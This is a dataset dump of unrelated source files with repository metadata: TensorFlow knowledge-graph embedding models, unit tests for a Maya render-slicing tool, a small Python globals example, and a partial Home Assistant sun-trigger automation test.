] | 13 | 2017-07-28T17:30:04.000Z | 2021-03-13T01:43:18.000Z | efe.py | devinaarvind/tensorflow-efe | 7b3001ca6f885d6c94b198d24560e2004bbd356e | [
"MIT"
] | 3 | 2017-12-05T14:52:59.000Z | 2018-03-02T09:56:14.000Z | efe.py | devinaarvind/tensorflow-efe | 7b3001ca6f885d6c94b198d24560e2004bbd356e | [
"MIT"
] | 7 | 2018-05-27T02:55:13.000Z | 2019-07-16T11:12:59.000Z | from model import Model
import tensorflow as tf
import datetime
import numpy as np
import config
from utils.tf_utils import l2_loss, l1_loss
class TransE_L2(Model):
def __init__(self, n_entities, n_relations, hparams):
super(TransE_L2, self).__init__(n_entities, n_relations, hparams)
self.margin = hparams.margin
self.build()
def add_params(self):
minVal = -6 / np.sqrt(self.embedding_size)
maxVal = -minVal
self.entity_embedding = tf.Variable(tf.random_uniform(
[self.n_entities, self.embedding_size], minVal, maxVal, seed=config.RANDOM_SEED),
dtype=tf.float32, name="entity_embedding")
self.relation_embedding = tf.Variable(tf.nn.l2_normalize(tf.random_uniform(
[self.n_relations, self.embedding_size], minVal, maxVal, seed=config.RANDOM_SEED), -1),
dtype=tf.float32, name="relation_embedding")
normalized_entity_embedding = tf.nn.l2_normalize(self.entity_embedding, -1)
self.normalization = self.entity_embedding.assign(normalized_entity_embedding)
def add_prediction_op(self):
self.e1 = tf.nn.embedding_lookup(self.entity_embedding, self.heads)
self.e2 = tf.nn.embedding_lookup(self.entity_embedding, self.tails)
self.r = tf.nn.embedding_lookup(self.relation_embedding, self.relations)
self.pred = tf.negative(l2_loss(self.e1 + self.r - self.e2), name="pred")
def add_loss_op(self):
pos_size, neg_size = self.batch_size, self.batch_size * self.neg_ratio * 2
score_pos, score_neg = tf.split(self.pred, [pos_size, neg_size])
losses = tf.maximum(0.0, self.margin - score_pos +
tf.reduce_mean(tf.reshape(score_neg, (self.batch_size, self.neg_ratio * 2)), -1))
self.loss = tf.reduce_mean(losses, name="loss")
def train_on_batch(self, sess, input_batch):
feed = self.create_feed_dict(**input_batch)
sess.run(self.normalization)
_, step, loss = sess.run([self.train_op, self.global_step, self.loss], feed_dict=feed)
time_str = datetime.datetime.now().isoformat()
print("{}: step {}, loss {:g}".format(time_str, step, loss))
class TransE_L1(TransE_L2):
def add_prediction_op(self):
self.e1 = tf.nn.embedding_lookup(self.entity_embedding, self.heads)
self.e2 = tf.nn.embedding_lookup(self.entity_embedding, self.tails)
self.r = tf.nn.embedding_lookup(self.relation_embedding, self.relations)
self.pred = tf.negative(l1_loss(self.e1 + self.r - self.e2), name="pred")
def add_loss_op(self):
pos_size, neg_size = self.batch_size, self.batch_size * self.neg_ratio * 2
score_pos, score_neg = tf.split(self.pred, [pos_size, neg_size])
losses = tf.maximum(0.0, self.margin - score_pos +
tf.reduce_mean(tf.reshape(score_neg, (self.batch_size, self.neg_ratio * 2)), -1))
self.loss = tf.reduce_mean(losses, name="loss")
class DistMult(Model):
def __init__(self, n_entities, n_relations, hparams):
super(DistMult, self).__init__(n_entities, n_relations, hparams)
self.l2_reg_lambda = hparams.l2_reg_lambda
self.build()
def add_params(self):
self.entity_embedding = tf.Variable(tf.random_uniform(
[self.n_entities, self.embedding_size], 0., 1., seed=config.RANDOM_SEED),
dtype=tf.float32, name="entity_embedding")
self.relation_embedding = tf.Variable(tf.random_uniform(
[self.n_relations, self.embedding_size], 0., 1., seed=config.RANDOM_SEED),
dtype=tf.float32, name="relation_embedding")
def add_prediction_op(self):
self.e1 = tf.nn.embedding_lookup(self.entity_embedding, self.heads)
self.e2 = tf.nn.embedding_lookup(self.entity_embedding, self.tails)
self.r = tf.nn.embedding_lookup(self.relation_embedding, self.relations)
self.pred = tf.nn.sigmoid(tf.reduce_sum(self.e1 * self.r * self.e2, -1), name="pred")
def add_loss_op(self):
losses = tf.nn.softplus(-self.labels * tf.reduce_sum(self.e1 * self.r * self.e2, -1))
self.l2_loss = tf.reduce_mean(tf.square(self.e1)) + \
tf.reduce_mean(tf.square(self.e2)) + \
tf.reduce_mean(tf.square(self.r))
self.loss = tf.add(tf.reduce_mean(losses), self.l2_reg_lambda * self.l2_loss, name="loss")
class DistMult_tanh(DistMult):
def add_prediction_op(self):
self.e1 = tf.tanh(tf.nn.embedding_lookup(self.entity_embedding, self.heads))
self.e2 = tf.tanh(tf.nn.embedding_lookup(self.entity_embedding, self.tails))
self.r = tf.nn.embedding_lookup(self.relation_embedding, self.relations)
self.pred = tf.nn.sigmoid(tf.reduce_sum(self.e1 * self.r * self.e2, -1), name="pred")
class NTN(Model):
def __init__(self, n_entities, n_relations, hparams):
super(NTN, self).__init__(n_entities, n_relations, hparams)
self.l2_reg_lambda = hparams.l2_reg_lambda
self.k = hparams.k
self.build()
def add_params(self):
self.entity_embedding = tf.Variable(tf.random_uniform(
[self.n_entities, self.embedding_size], 0., 1., seed=config.RANDOM_SEED),
dtype=tf.float32, name="entity_embedding")
self.W = tf.Variable(tf.random_uniform(
[self.n_relations, self.k, self.embedding_size, self.embedding_size],
0., 1., seed=config.RANDOM_SEED), dtype=tf.float32, name="W")
self.V = tf.Variable(tf.random_uniform(
[self.n_relations, self.k, 2 * self.embedding_size], 0., 1., seed=config.RANDOM_SEED),
dtype=tf.float32, name="V")
self.B = tf.Variable(tf.random_uniform(
[self.n_relations, self.k], 0., 1., seed=config.RANDOM_SEED),
dtype=tf.float32, name="B")
self.U = tf.Variable(tf.random_uniform(
[self.n_relations, self.k], 0., 1., seed=config.RANDOM_SEED),
dtype=tf.float32, name="U")
def add_prediction_op(self):
self.e1 = tf.nn.embedding_lookup(self.entity_embedding, self.heads)
self.e2 = tf.nn.embedding_lookup(self.entity_embedding, self.tails)
self.w = tf.nn.embedding_lookup(self.W, self.relations)
self.v = tf.nn.embedding_lookup(self.V, self.relations)
self.b = tf.nn.embedding_lookup(self.B, self.relations)
self.u = tf.nn.embedding_lookup(self.U, self.relations)
g_a = tf.matmul(self.v, tf.expand_dims(tf.concat([self.e1, self.e2], 1), -1))
e1 = tf.reshape(self.e1, [-1, 1, 1, self.embedding_size])
e2 = tf.reshape(self.e2, [-1, 1, self.embedding_size, 1])
e1 = tf.tile(e1, [1, self.k, 1, 1])
e2 = tf.tile(e2, [1, self.k, 1, 1])
g_b = tf.squeeze(tf.matmul(tf.matmul(e1, self.w), e2), -1)
b = tf.expand_dims(self.b, -1)
self.score = tf.squeeze(tf.matmul(tf.expand_dims(self.u, 1), tf.nn.tanh(g_a + g_b + b)))
self.pred = tf.nn.sigmoid(self.score, name="pred")
def add_loss_op(self):
losses = tf.nn.softplus(-self.labels * self.score)
self.l2_loss = tf.reduce_mean(tf.square(self.e1)) \
+ tf.reduce_mean(tf.square(self.e2)) \
+ tf.reduce_mean(tf.square(self.w)) \
+ tf.reduce_mean(tf.square(self.v)) \
+ tf.reduce_mean(tf.square(self.b)) \
+ tf.reduce_mean(tf.square(self.u))
self.loss = tf.add(tf.reduce_mean(losses), self.l2_reg_lambda * self.l2_loss, name="loss")
class NTN_diag(NTN):
def add_params(self):
self.entity_embedding = tf.Variable(tf.random_uniform(
[self.n_entities, self.embedding_size], 0., 1., seed=config.RANDOM_SEED),
dtype=tf.float32, name="entity_embedding")
self.W = tf.Variable(tf.random_uniform(
[self.n_relations, self.k, self.embedding_size], 0., 1., seed=config.RANDOM_SEED),
dtype=tf.float32, name="W")
self.V = tf.Variable(tf.random_uniform(
[self.n_relations, self.k, 2 * self.embedding_size], 0., 1., seed=config.RANDOM_SEED),
dtype=tf.float32, name="V")
self.B = tf.Variable(tf.random_uniform(
[self.n_relations, self.k], 0., 1., seed=config.RANDOM_SEED),
dtype=tf.float32, name="B")
self.U = tf.Variable(tf.random_uniform(
[self.n_relations, self.k], 0., 1., seed=config.RANDOM_SEED),
dtype=tf.float32, name="U")
def add_prediction_op(self):
self.e1 = tf.nn.embedding_lookup(self.entity_embedding, self.heads)
self.e2 = tf.nn.embedding_lookup(self.entity_embedding, self.tails)
self.w = tf.nn.embedding_lookup(self.W, self.relations)
self.v = tf.nn.embedding_lookup(self.V, self.relations)
self.b = tf.nn.embedding_lookup(self.B, self.relations)
self.u = tf.nn.embedding_lookup(self.U, self.relations)
g_a = tf.matmul(self.v, tf.expand_dims(tf.concat([self.e1, self.e2], 1), -1))
e1 = tf.reshape(self.e1, [-1, 1, self.embedding_size])
e2 = tf.reshape(self.e2, [-1, 1, self.embedding_size])
e1 = tf.tile(e1, [1, self.k, 1])
e2 = tf.tile(e2, [1, self.k, 1])
g_b = tf.reduce_sum(e1 * self.w * e2, -1, keep_dims=True)
b = tf.expand_dims(self.b, -1)
self.score = tf.squeeze(tf.matmul(tf.expand_dims(self.u, 1), tf.nn.tanh(g_a + g_b + b)))
self.pred = tf.nn.sigmoid(self.score, name="pred")
class Complex(Model):
def __init__(self, n_entities, n_relations, hparams):
super(Complex, self).__init__(n_entities, n_relations, hparams)
self.l2_reg_lambda = hparams.l2_reg_lambda
self.build()
def add_params(self):
self.entity_embedding1 = tf.Variable(tf.random_uniform(
[self.n_entities, self.embedding_size], 0., 1., seed=config.RANDOM_SEED),
dtype=tf.float32, name="entity_embedding1")
self.entity_embedding2 = tf.Variable(tf.random_uniform(
[self.n_entities, self.embedding_size], 0., 1., seed=config.RANDOM_SEED),
dtype=tf.float32, name="entity_embedding2")
self.relation_embedding1 = tf.Variable(tf.random_uniform(
[self.n_relations, self.embedding_size], 0., 1., seed=config.RANDOM_SEED),
dtype=tf.float32, name="relation_embedding1")
self.relation_embedding2 = tf.Variable(tf.random_uniform(
[self.n_relations, self.embedding_size], 0., 1., seed=config.RANDOM_SEED),
dtype=tf.float32, name="relation_embedding2")
def add_prediction_op(self):
self.e1_1 = tf.nn.embedding_lookup(self.entity_embedding1, self.heads)
self.e1_2 = tf.nn.embedding_lookup(self.entity_embedding2, self.heads)
self.e2_1 = tf.nn.embedding_lookup(self.entity_embedding1, self.tails)
self.e2_2 = tf.nn.embedding_lookup(self.entity_embedding2, self.tails)
self.r_1 = tf.nn.embedding_lookup(self.relation_embedding1, self.relations)
self.r_2 = tf.nn.embedding_lookup(self.relation_embedding2, self.relations)
self.pred = tf.subtract(tf.reduce_sum(self.e1_1 * self.r_1 * self.e2_1, -1) +
tf.reduce_sum(self.e1_2 * self.r_1 * self.e2_2, -1) +
tf.reduce_sum(self.e1_1 * self.r_2 * self.e2_2, -1),
tf.reduce_sum(self.e1_2 * self.r_2 * self.e2_1, -1), name="pred")
def add_loss_op(self):
losses = tf.nn.softplus(-self.labels * self.pred)
self.l2_loss = tf.reduce_mean(tf.square(self.e1_1)) \
+ tf.reduce_mean(tf.square(self.e1_2)) \
+ tf.reduce_mean(tf.square(self.e2_1)) \
+ tf.reduce_mean(tf.square(self.e2_2)) \
+ tf.reduce_mean(tf.square(self.r_1)) \
+ tf.reduce_mean(tf.square(self.r_2))
self.loss = tf.add(tf.reduce_mean(losses), self.l2_reg_lambda * self.l2_loss, name="loss")
class Complex_tanh(Complex):
def add_prediction_op(self):
self.e1_1 = tf.tanh(tf.nn.embedding_lookup(self.entity_embedding1, self.heads))
self.e1_2 = tf.tanh(tf.nn.embedding_lookup(self.entity_embedding2, self.heads))
self.e2_1 = tf.tanh(tf.nn.embedding_lookup(self.entity_embedding1, self.tails))
self.e2_2 = tf.tanh(tf.nn.embedding_lookup(self.entity_embedding2, self.tails))
self.r_1 = tf.nn.embedding_lookup(self.relation_embedding1, self.relations)
self.r_2 = tf.nn.embedding_lookup(self.relation_embedding2, self.relations)
self.pred = tf.subtract(tf.reduce_sum(self.e1_1 * self.r_1 * self.e2_1, -1) +
tf.reduce_sum(self.e1_2 * self.r_1 * self.e2_2, -1) +
tf.reduce_sum(self.e1_1 * self.r_2 * self.e2_2, -1),
tf.reduce_sum(self.e1_2 * self.r_2 * self.e2_1, -1), name="pred")
| 51.931174 | 99 | 0.646761 | 1,910 | 12,827 | 4.128796 | 0.06178 | 0.02384 | 0.059346 | 0.086736 | 0.898174 | 0.893102 | 0.876363 | 0.859371 | 0.841745 | 0.818539 | 0 | 0.028583 | 0.211741 | 12,827 | 246 | 100 | 52.142276 | 0.75136 | 0 | 0 | 0.590476 | 0 | 0 | 0.019802 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.109524 | false | 0 | 0.028571 | 0 | 0.17619 | 0.004762 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
2106a221162bb261fce7170e35082297c57da84c | 16,771 | py | Python | tests/env/maya/test_render_slicer.py | tws0002/anima | 73c256d1f7716a2db7933d6d8519a51333c7e5b4 | [
"BSD-2-Clause"
] | 7 | 2016-03-30T14:43:33.000Z | 2020-11-12T17:56:40.000Z | tests/env/maya/test_render_slicer.py | tws0002/anima | 73c256d1f7716a2db7933d6d8519a51333c7e5b4 | [
"BSD-2-Clause"
] | null | null | null | tests/env/maya/test_render_slicer.py | tws0002/anima | 73c256d1f7716a2db7933d6d8519a51333c7e5b4 | [
"BSD-2-Clause"
] | 3 | 2017-04-13T04:29:04.000Z | 2019-05-08T00:28:44.000Z | # -*- coding: utf-8 -*-
# Copyright (c) 2012-2015, Anima Istanbul
#
# This module is part of anima-tools and is released under the BSD 2
# License: http://www.opensource.org/licenses/BSD-2-Clause
import os
import unittest
# prepare for test
os.environ['ANIMA_TEST_SETUP'] = ""
from pymel import core as pm
from anima.env.mayaEnv.render_slicer import RenderSlicer
class RenderSlicerTester(unittest.TestCase):
"""test the ``anima.env.mayaEnv.render_slicer.RenderSlicer`` class
"""
def setUp(self):
"""setup the test
"""
# create a new scene
pm.newFile(force=True)
# create a render camera
self.camera = pm.nt.Camera()
def test_camera_argument_is_None(self):
"""testing if setting the camera argument to None will raise a
TypeError
"""
with self.assertRaises(TypeError) as cm:
RenderSlicer(camera=None)
self.assertEqual(
str(cm.exception),
'Please supply a Maya camera'
)
def test_camera_attribute_is_set_to_None(self):
"""testing if setting the camera attribute to None will raise a
TypeError
"""
rs = RenderSlicer(camera=self.camera)
with self.assertRaises(TypeError) as cm:
rs.camera = None
self.assertEqual(
str(cm.exception),
'Please supply a Maya camera'
)
def test_camera_argument_is_not_camera(self):
"""testing if a TypeError will be raised when the camera argument value
is not a Maya camera object
"""
with self.assertRaises(TypeError) as cm:
RenderSlicer(camera='not a maya camera')
self.assertEqual(
str(cm.exception),
'RenderSlicer.camera should be a Maya camera, not str'
)
def test_camera_attribute_is_set_to_a_non_camera_object(self):
"""testing if setting the camera attribute to a non camera object will
raise a TypeError
"""
rs = RenderSlicer(camera=self.camera)
with self.assertRaises(TypeError) as cm:
rs.camera = 'not a maya camera'
self.assertEqual(
str(cm.exception),
'RenderSlicer.camera should be a Maya camera, not str'
)
def test_slices_in_x_attribute_is_set_to_None(self):
"""testing if a TypeError will be raised when the slices_in_x attribute
is set to None
"""
rs = RenderSlicer(camera=self.camera)
with self.assertRaises(TypeError) as cm:
rs.slices_in_x = None
self.assertEqual(
str(cm.exception),
"RenderSlicer.slices_in_x should be a non-zero positive integer, "
"not NoneType"
)
def test_slices_in_x_attribute_is_set_to_a_value_other_than_an_integer(self):
"""testing if a TypeError will be tested if the slices_in_x attribute
is set to a value other than an integer
"""
rs = RenderSlicer(camera=self.camera)
with self.assertRaises(TypeError) as cm:
rs.slices_in_x = 'not an integer'
self.assertEqual(
str(cm.exception),
'RenderSlicer.slices_in_x should be a non-zero positive integer, '
'not str'
)
def test_slices_in_x_attribute_is_zero(self):
"""testing if a ValueError will be raised when the slices_in_x
attribute is set to zero
"""
rs = RenderSlicer(camera=self.camera)
with self.assertRaises(ValueError) as cm:
rs.slices_in_x = 0
self.assertEqual(
str(cm.exception),
'RenderSlicer.slices_in_x should be a non-zero positive integer'
)
def test_slices_in_x_attribute_is_smaller_than_1(self):
"""testing if a ValueError will be raised when the slices_in_x
attribute is set to a value smaller than 1
"""
rs = RenderSlicer(camera=self.camera)
with self.assertRaises(ValueError) as cm:
rs.slices_in_x = 0
self.assertEqual(
str(cm.exception),
'RenderSlicer.slices_in_x should be a non-zero positive integer'
)
def test_slices_in_x_attribute_is_working_properly(self):
"""testing if the slices_in_x attribute is properly working
"""
test_value = 1001
rs = RenderSlicer(camera=self.camera)
self.assertNotEqual(rs.slices_in_x, test_value)
rs.slices_in_x = test_value
self.assertEqual(rs.slices_in_x, test_value)
def test_slices_in_y_attribute_is_set_to_None(self):
"""testing if a TypeError will be raised when the slices_in_y attribute
is set to None
"""
rs = RenderSlicer(camera=self.camera)
with self.assertRaises(TypeError) as cm:
rs.slices_in_y = None
self.assertEqual(
str(cm.exception),
"RenderSlicer.slices_in_y should be a non-zero positive integer, "
"not NoneType"
)
def test_slices_in_y_attribute_is_set_to_a_value_other_than_an_integer(self):
"""testing if a TypeError will be tested if the slices_in_y attribute
is set to a value other than an integer
"""
rs = RenderSlicer(camera=self.camera)
with self.assertRaises(TypeError) as cm:
rs.slices_in_y = 'not an integer'
self.assertEqual(
str(cm.exception),
'RenderSlicer.slices_in_y should be a non-zero positive integer, '
'not str'
)
def test_slices_in_y_attribute_is_zero(self):
"""testing if a ValueError will be raised when the slices_in_y
attribute is set to zero
"""
rs = RenderSlicer(camera=self.camera)
with self.assertRaises(ValueError) as cm:
rs.slices_in_y = 0
self.assertEqual(
str(cm.exception),
'RenderSlicer.slices_in_y should be a non-zero positive integer'
)
def test_slices_in_y_attribute_is_smaller_than_1(self):
"""testing if a ValueError will be raised when the slices_in_y
attribute is set to a value smaller than 1
"""
rs = RenderSlicer(camera=self.camera)
with self.assertRaises(ValueError) as cm:
rs.slices_in_y = 0
self.assertEqual(
str(cm.exception),
'RenderSlicer.slices_in_y should be a non-zero positive integer'
)
def test_slices_in_y_attribute_is_working_properly(self):
"""testing if the slices_in_y attribute is properly working
"""
test_value = 1001
rs = RenderSlicer(camera=self.camera)
self.assertNotEqual(rs.slices_in_y, test_value)
rs.slices_in_y = test_value
self.assertEqual(rs.slices_in_y, test_value)
def test_slice_will_create_data_attributes_on_camera(self):
"""testing if calling the slice() method will create the data
attributes on the camera
"""
rs = RenderSlicer(camera=self.camera)
rs.slice(10, 20)
self.assertTrue(rs.camera.hasAttr('isSliced'))
self.assertTrue(rs.camera.hasAttr('nonSlicedResolutionX'))
self.assertTrue(rs.camera.hasAttr('nonSlicedResolutionY'))
self.assertTrue(rs.camera.hasAttr('slicesInX'))
self.assertTrue(rs.camera.hasAttr('slicesInY'))
def test_slice_will_set_the_data_attributes_on_camera(self):
"""testing if calling the slice() method will set the data
attributes properly on camera
"""
# check the scene render resolution first
dres = pm.PyNode('defaultResolution')
dres.width.set(960)
dres.height.set(540)
rs = RenderSlicer(camera=self.camera)
rs.slice(10, 20)
self.assertEqual(rs.camera.isSliced.get(), True)
self.assertEqual(rs.camera.nonSlicedResolutionX.get(), 960)
self.assertEqual(rs.camera.nonSlicedResolutionY.get(), 540)
self.assertEqual(rs.camera.slicesInX.get(), 10)
self.assertEqual(rs.camera.slicesInY.get(), 20)
def test_slice_will_work_on_previously_sliced_camera(self):
"""testing if the calling slice() method will also work with a
previously sliced camera
"""
dres = pm.PyNode('defaultResolution')
dres.width.set(960)
dres.height.set(540)
rs = RenderSlicer(camera=self.camera)
rs.slice(10, 10)
self.assertEqual(dres.width.get(), 96)
self.assertEqual(dres.height.get(), 54)
rs2 = RenderSlicer(camera=self.camera)
rs2.slice(5, 5)
self.assertEqual(dres.width.get(), 192)
self.assertEqual(dres.height.get(), 108)
def test_slice_will_set_the_render_resolution(self):
"""testing if calling slice() method will set the render resolution
"""
# check the scene render resolution first
dres = pm.PyNode('defaultResolution')
dres.width.set(960)
dres.height.set(540)
rs = RenderSlicer(camera=self.camera)
rs.slice(10, 20)
self.assertEqual(dres.width.get(), 96)
self.assertEqual(dres.height.get(), 27)
def test_slice_will_set_the_pan_zoom_enabled_attribute_of_the_camera(self):
"""testing if calling the slice() method will set the panZoomEnabled
attribute of the camera
"""
rs = RenderSlicer(camera=self.camera)
rs.slice(10, 20)
self.assertEqual(self.camera.panZoomEnabled.get(), True)
def test_slice_will_set_the_render_pan_zoom_attribute_of_the_camera(self):
"""testing if calling the slice() method will set the renderPanZoom
attribute of the camera
"""
rs = RenderSlicer(camera=self.camera)
rs.slice(10, 20)
self.assertEqual(self.camera.renderPanZoom.get(), True)
def test_slice_will_set_the_horizontal_pan_attribute_of_the_camera_properly(self):
"""testing if calling the slice() method will set the horizontalPan
attribute of the camera properly
"""
rs = RenderSlicer(camera=self.camera)
rs.slice(2, 3)
expected_values = [
-0.35433, 0.35433, -0.35433, 0.35433, -0.35433, 0.35433
]
for i in range(6):
pm.currentTime(i)
self.assertAlmostEqual(
self.camera.horizontalPan.get(),
expected_values[i]
)
def test_slice_will_set_the_vertical_pan_attribute_of_the_camera_properly(self):
"""testing if calling the slice() method will set the verticalPan
attribute of the camera properly
"""
rs = RenderSlicer(camera=self.camera)
rs.slice(2, 3)
expected_values = [
-0.2657475, -0.2657475, 0, 0, 0.2657475, 0.2657475
]
for i in range(6):
pm.currentTime(i)
self.assertAlmostEqual(
self.camera.verticalPan.get(),
expected_values[i]
)
def test_slice_will_set_the_zoom_attribute_of_the_camera_properly(self):
"""testing if calling the slice() method will set the zoom attribute
of the camera properly
"""
rs = RenderSlicer(camera=self.camera)
rs.slice(2, 3)
self.assertAlmostEqual(self.camera.zoom.get(), 0.5)
def test_slice_will_set_the_vertical_film_aperture_of_the_camera_properly(self):
"""testing if calling the slice() method will set the
verticalFilmAperture attribute of the camera properly
"""
rs = RenderSlicer(camera=self.camera)
rs.slice(2, 3)
self.assertAlmostEqual(
self.camera.verticalFilmAperture.get(),
0.7972425
)
def test_slice_will_un_slice_the_same_camera(self):
"""testing if calling the slice() method will un-slice the camera if
it is already sliced
"""
# check the scene render resolution first
dres = pm.PyNode('defaultResolution')
dres.width.set(960)
dres.height.set(540)
rs = RenderSlicer(camera=self.camera)
rs.slice(10, 10)
# check the render resolution
self.assertEqual(dres.width.get(), 96)
self.assertEqual(dres.height.get(), 54)
# create a new camera and slice again
rs2 = RenderSlicer(camera=self.camera)
rs2.slice(5, 5)
# check the resolution
self.assertEqual(dres.width.get(), 192)
self.assertEqual(dres.height.get(), 108)
def test_slice_will_un_slice_if_the_scene_has_a_silced_camera(self):
"""testing if calling the slice() method will un-slice the scene if
there is a previously sliced camera
"""
# check the scene render resolution first
dres = pm.PyNode('defaultResolution')
dres.width.set(960)
dres.height.set(540)
rs = RenderSlicer(camera=self.camera)
rs.slice(10, 10)
# check the render resolution
self.assertEqual(dres.width.get(), 96)
self.assertEqual(dres.height.get(), 54)
# create a new camera and slice again
cam = pm.nt.Camera()
rs2 = RenderSlicer(camera=cam)
rs2.slice(5, 5)
# check the resolution
self.assertEqual(dres.width.get(), 192)
self.assertEqual(dres.height.get(), 108)
def test_slice_will_set_the_pixel_aspect_to_1(self):
"""testing if the slice() method will set the render pixel aspect to 1
"""
dres = pm.PyNode('defaultResolution')
dres.width.set(1920)
dres.height.set(1080)
dres.pixelAspect.set(2.5)
rs = RenderSlicer(self.camera)
rs.slice(10, 10)
self.assertEqual(dres.pixelAspect.get(), 1)
self.assertEqual(dres.width.get(), 192)
self.assertEqual(dres.height.get(), 108)
def test_unslice_will_set_the_pixel_aspect_to_1(self):
"""testing if the unslice() method will set the pixel aspect to 1
"""
dres = pm.PyNode('defaultResolution')
dres.width.set(1920)
dres.height.set(1080)
dres.pixelAspect.set(2.5)
rs = RenderSlicer(self.camera)
rs.slice(10, 10)
rs.unslice()
self.assertEqual(dres.pixelAspect.get(), 1)
self.assertEqual(dres.width.get(), 1920)
self.assertEqual(dres.height.get(), 1080)
def test_unslice_scene_will_set_the_pixel_aspect_to_1(self):
"""testing if the unslice_scene() method will set the pixel aspect to 1
"""
dres = pm.PyNode('defaultResolution')
dres.width.set(1920)
dres.height.set(1080)
dres.pixelAspect.set(1.0)
rs = RenderSlicer(self.camera)
rs.slice(10, 10)
rs.unslice_scene()
self.assertEqual(dres.pixelAspect.get(), 1)
self.assertEqual(dres.width.get(), 1920)
self.assertEqual(dres.height.get(), 1080)
def test_unslice_will_restore_original_render_resolution(self):
"""unslice will restore the original render resolution
"""
dres = pm.PyNode('defaultResolution')
dres.width.set(960)
dres.height.set(540)
rs = RenderSlicer(camera=self.camera)
rs.slice(10, 10)
self.assertEqual(dres.width.get(), 96)
self.assertEqual(dres.height.get(), 54)
rs.unslice()
self.assertEqual(dres.width.get(), 960)
self.assertEqual(dres.height.get(), 540)
def test_unslice_will_set_the_is_sliced_attribute_of_the_camera_correctly(self):
"""testing if unslice() method will set the isSliced attribute of the
camera correctly
"""
rs = RenderSlicer(camera=self.camera)
rs.slice(10, 10)
self.assertTrue(self.camera.isSliced.get())
rs.unslice()
self.assertFalse(self.camera.isSliced.get())
def test_unslice_will_set_the_is_sliced_attribute_correctly(self):
"""testing if unslice() method will set the is_sliced attribute\
correctly
"""
rs = RenderSlicer(camera=self.camera)
rs.slice(10, 10)
self.assertTrue(rs.is_sliced)
rs.unslice()
self.assertFalse(rs.is_sliced)
def test_init_with_a_sliced_camera(self):
"""testing if initializing with a pre-sliced camera will work properly
"""
dres = pm.PyNode('defaultResolution')
dres.width.set(1000)
dres.height.set(1000)
rs = RenderSlicer(camera=self.camera)
rs.slice(10, 10)
rs2 = RenderSlicer(camera=self.camera)
self.assertEqual(rs2.is_sliced, True)
self.assertEqual(rs2.slices_in_x, 10)
self.assertEqual(rs2.slices_in_y, 10)
# self.assertEqual(rs2.original_resolution, 1000) | 34.437372 | 86 | 0.633236 | 2,146 | 16,771 | 4.778658 | 0.089469 | 0.07606 | 0.049927 | 0.084642 | 0.841833 | 0.793369 | 0.767528 | 0.74471 | 0.720527 | 0.68864 | 0 | 0.029639 | 0.273746 | 16,771 | 487 | 87 | 34.437372 | 0.812315 | 0.211675 | 0 | 0.61512 | 0 | 0 | 0.080361 | 0.015216 | 0 | 0 | 0 | 0 | 0.268041 | 1 | 0.116838 | false | 0 | 0.013746 | 0 | 0.134021 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
dce24ac3ade97470fc279704acd16cb0f12189eb | 145 | py | Python | Global Variables/b.py | rtomasa/pysamples | 84fbec83756eb46dff37124f1957d100833636ff | [
"Unlicense"
] | null | null | null | Global Variables/b.py | rtomasa/pysamples | 84fbec83756eb46dff37124f1957d100833636ff | [
"Unlicense"
] | null | null | null | Global Variables/b.py | rtomasa/pysamples | 84fbec83756eb46dff37124f1957d100833636ff | [
"Unlicense"
] | null | null | null | import globals
class B:
def __init__(self):
pass
def print(self):
print('B', globals.g1)
print('B', globals.g2) | 16.111111 | 30 | 0.551724 | 19 | 145 | 4 | 0.578947 | 0.157895 | 0.342105 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.020202 | 0.317241 | 145 | 9 | 31 | 16.111111 | 0.747475 | 0 | 0 | 0 | 0 | 0 | 0.013699 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.285714 | false | 0.142857 | 0.142857 | 0 | 0.571429 | 0.428571 | 1 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 6 |
dce7933a759755f05efb203e22224e2544d50be8 | 10,157 | py | Python | tests/components/automation/test_sun.py | XRyu/home-assistant | c9c707e368be159f0138a40d21fdea7a2a650ffe | [
"Apache-2.0"
] | null | null | null | tests/components/automation/test_sun.py | XRyu/home-assistant | c9c707e368be159f0138a40d21fdea7a2a650ffe | [
"Apache-2.0"
] | null | null | null | tests/components/automation/test_sun.py | XRyu/home-assistant | c9c707e368be159f0138a40d21fdea7a2a650ffe | [
"Apache-2.0"
] | null | null | null | """The tests for the sun automation."""
from datetime import datetime
import pytest
from unittest.mock import patch
from homeassistant.setup import async_setup_component
from homeassistant.components import sun
import homeassistant.components.automation as automation
import homeassistant.util.dt as dt_util
from tests.common import (
async_fire_time_changed, mock_component, async_mock_service)
from tests.components.automation import common
@pytest.fixture
def calls(hass):
"""Track calls to a mock serivce."""
return async_mock_service(hass, 'test', 'automation')
@pytest.fixture(autouse=True)
def setup_comp(hass):
"""Initialize components."""
mock_component(hass, 'group')
hass.loop.run_until_complete(async_setup_component(hass, sun.DOMAIN, {
sun.DOMAIN: {sun.CONF_ELEVATION: 0}}))
async def test_sunset_trigger(hass, calls):
"""Test the sunset trigger."""
now = datetime(2015, 9, 15, 23, tzinfo=dt_util.UTC)
trigger_time = datetime(2015, 9, 16, 2, tzinfo=dt_util.UTC)
with patch('homeassistant.util.dt.utcnow',
return_value=now):
await async_setup_component(hass, automation.DOMAIN, {
automation.DOMAIN: {
'trigger': {
'platform': 'sun',
'event': 'sunset',
},
'action': {
'service': 'test.automation',
}
}
})
await common.async_turn_off(hass)
await hass.async_block_till_done()
async_fire_time_changed(hass, trigger_time)
await hass.async_block_till_done()
assert 0 == len(calls)
with patch('homeassistant.util.dt.utcnow',
return_value=now):
await common.async_turn_on(hass)
await hass.async_block_till_done()
